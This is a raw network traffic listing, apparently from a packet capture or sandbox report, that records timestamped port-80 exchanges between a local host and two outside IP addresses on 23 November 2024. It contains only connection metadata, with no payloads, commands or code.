Nov 23, 2024 03:21:24.243437052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.243513107 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.243547916 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.243654966 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.243679047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.243725061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.243772984 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.244016886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.244672060 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.244710922 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.244791985 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.244802952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.244818926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.244827032 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.244867086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.245716095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.245837927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.245848894 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.245860100 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.245887995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.245893955 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.245903969 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.246762037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.246877909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.246926069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.247003078 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.247040987 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.247055054 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.247087955 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.247781038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.247910976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.248197079 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.248254061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.248291016 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.248317957 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.248327971 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.248788118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.248898029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.248946905 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.249371052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.249419928 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.249483109 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.249520063 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.249798059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.249917984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.249963999 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.250588894 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.250643015 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.250705957 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.250741959 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.250792980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.250814915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.250859976 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.251852036 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.251863003 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.251873016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.251894951 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.251924992 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.251930952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.251976967 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.252856016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.252980947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.252991915 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.253004074 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.253024101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.253051996 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.253858089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.253979921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.254156113 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.254195929 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.254204035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.254221916 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.254228115 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.254873037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.254961967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.255018950 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.255337954 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.255377054 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.255439997 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.255480051 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.255883932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.255995989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.256040096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.256509066 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.256552935 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.256608009 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.256671906 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.256896019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.257023096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.257139921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.257702112 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.257746935 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.257805109 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.257843018 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.257919073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.258009911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.258054972 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.258894920 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.258934021 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.258939981 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.258950949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.258974075 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.259038925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.259083033 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.259967089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.260104895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.260116100 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.260145903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.260158062 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.260195017 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.260484934 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.260981083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.261085987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.261132002 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.261291981 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.261400938 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.261439085 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.262039900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.262118101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.262166977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.262458086 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.262502909 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.262567043 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.262604952 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.263009071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.263119936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.263169050 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.263653040 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.263703108 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.263771057 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.263866901 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.264013052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.264132023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.264328957 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.264812946 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.264866114 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.264921904 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.264960051 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.265007973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.265162945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.265202999 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.266042948 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.266066074 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.266077042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.266151905 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.266181946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.266243935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.267080069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.267210960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.267256021 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.267262936 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.267267942 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.267297029 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.267307043 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.268101931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.268208027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.268251896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.268395901 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.268510103 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.268551111 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.269104958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.269197941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.269253016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.269588947 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.269638062 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.269664049 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.269680977 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.270117998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.270227909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.270278931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.270776033 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.270884991 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.270936966 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.271125078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.271240950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.271307945 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.271996975 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.272048950 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.272147894 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.272186995 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.272191048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.272202969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.272245884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.273169994 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.273226023 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.273228884 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.273236990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.273258924 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.273324966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.274174929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.274224997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.274341106 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.274379969 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.274447918 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.274488926 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.275536060 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.275655985 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.275705099 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.276734114 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.276782036 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.276823997 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.276864052 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.277915955 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.277960062 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.278026104 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.278060913 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.279114962 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.279230118 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.279273987 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.280299902 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.280349970 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.280404091 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.280493975 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.281503916 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.281603098 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.281625986 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.281641960 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.282705069 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.282747984 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.282778025 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.282825947 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.283898115 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.283946991 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.283988953 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.284029007 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.285058975 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.285135031 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.285149097 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.285188913 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.286227942 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.286282063 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.286343098 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.286380053 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.287435055 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.287513971 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.287538052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.287575960 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.288615942 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.288702011 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.288714886 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.288757086 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.289803028 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.289849997 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.289908886 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.289947987 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.290987968 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.291052103 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.291107893 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.291148901 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.292193890 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.292236090 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.292310953 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.292356968 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.293418884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.293464899 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.293495893 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.293529034 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.294569969 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.294614077 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.294651031 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.294686079 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.316689014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.409101963 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.409157991 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.409193993 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.409284115 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.409687042 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.409729004 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.409792900 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.409830093 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.410870075 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.411000013 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.411050081 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.412034988 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.412080050 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.431438923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.431514978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.431570053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.431849957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.431967974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.432013988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.432869911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.433005095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.433193922 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.433876038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.433995962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.434053898 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.434897900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.435058117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.435899019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.435946941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.436011076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.436108112 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.436913013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.437028885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.437083006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.437936068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.438092947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.438102961 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.438113928 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.438153028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.438178062 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.438178062 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.438616991 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.438676119 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.438863039 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.438966990 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.438991070 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.439002991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.439013004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.439028978 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.439064026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.440119028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.440210104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.440222025 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.440232038 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.440270901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.440280914 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.440280914 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.440990925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.441133022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.441178083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.441237926 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.441334009 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.441355944 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.441395998 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.442014933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.442136049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.442229986 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.442440033 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.442482948 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.442533970 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.442622900 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.443037033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.443149090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.443197012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.443627119 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.443721056 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.443731070 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.443808079 CET	49790	80	192.168.2.4	185.215.113.16
